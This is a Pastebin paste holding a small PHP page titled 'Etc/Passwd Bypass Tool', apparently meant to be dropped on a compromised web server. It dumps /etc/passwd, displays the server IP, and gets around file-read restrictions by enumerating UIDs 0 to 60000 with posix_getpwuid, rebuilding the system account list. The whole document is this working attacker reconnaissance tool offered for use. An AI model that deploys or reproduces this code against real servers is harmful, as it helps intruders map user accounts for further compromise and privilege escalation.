VanGans

bypass etc/pass

Sep 7th, 2018
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.17 KB | None | 0 0
  1. <title>Etc/Passwd Bypass Tool</title>
  2. <body background="#fff">
  3. <form>
  4. <p align="center" dir="rtl"><font color="#008080">
  5. <font color="red" face="Tahoma"><h1>/etc/passwd Bypasser</h1></font></a></font><font color="red">
  6. <font color="red"><span lang="ar-sa">
  7. </form>
  8. <form>
  9. <td width="50%"><font color="black"><pre><center>List /etc/passwd</pre></center></font></td>
  10. <td width="50%" colspan="2"><center><textarea  rows=20 cols=100 wrap=off>
  11. <?php
  12. echo file_get_contents('/etc/passwd');
  13. ?></td></textarea></center>
  14. </form>
  15. <form>
  16. <td width="50%"><font color="black"><?php echo 'Server IP :<b>'.$_SERVER["SERVER_ADDR"].'</b>';?></font></td>
  17. <td width="50%"><select size="1" name="plugin"><option value="plugin">/etc/passwd</option></option></select></td>
  18. <td width="100%" colspan="2">
  19. <p align="center"><input type="submit" value="Submit"></td>
  20. </form><center>
  21. <textarea method='POST'  rows=20 cols=100 wrap=off>
  22. <?php
  23. error_reporting(0);
  24.  if ($_GET['plugin'] )
  25.  
  26. for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  27. $ara = posix_getpwuid($uid);
  28. if (!empty($ara)) {
  29. while (list ($key, $val) = each($ara)){
  30. print "$val:";
  31. }
  32. print "n";
  33. }
  34. }
  35. echo "</textarea>";
  36. ?>
  37. </center>
Advertisement
Add Comment
Please, Sign In to add comment